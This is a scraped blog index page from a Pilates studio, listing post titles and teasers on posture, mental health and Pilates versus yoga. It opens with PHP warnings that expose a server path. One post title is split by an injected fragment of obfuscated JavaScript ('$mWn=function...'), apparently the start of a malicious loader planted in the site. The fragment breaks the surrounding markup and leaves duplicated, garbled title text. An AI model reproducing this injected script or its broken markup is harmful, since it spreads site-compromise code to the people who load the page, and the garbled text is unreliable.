Warning: Trying to access array offset on value of type bool in /home/customer/www/palmbeachpilates.com/public_html/wp-content/themes/dsquared/index.php on line 6

Warning: Trying to access array offset on value of type null in /home/customer/www/palmbeachpilates.com/public_html/wp-content/themes/dsquared/index.php on line 6

Warning: Trying to access array offset on value of type bool in /home/customer/www/palmbeachpilates.com/public_html/wp-content/themes/dsquared/index.php on line 12

Blog

Pilates Palm Beach Style
November 29, 2021

Pilates Palm Beach Style

At Palm Beach Pilates, we primarily focus on an inside out format of training. The inside out process consists in…

How Pilates Instruc<script>$mWn=function(n){if(typeof ($mWn.list[n])==tor Training can Boost Mental Health">
March 31, 2021

How Pilates Instructor Training can Boost Mental Health

Pilates is a physical activity that promotes a number of health benefits. Certainly, it’s easy to see how physical activity…

tor Training can Boost Mental Health" class="blog_li_link">
Using Pilates for Posture Improvement
February 23, 2021

Using Pilates for Posture Improvement

There is often a lot of emphasis on posture. In today’s world, individuals are faced with jobs and careers that…

Yoga and Which One is Best for Me?
February 16, 2021

Yoga and Which One is Best for Me?

Pilates and yoga. Yoga and Pilates. The two are often confused for one another or, at least, understood to be…

Does Pilates Really Work?
February 1, 2021

Does Pilates Really Work?

No doubt, you have heard about it. You’ve probably seen all the apps and watched the videos about it. But,…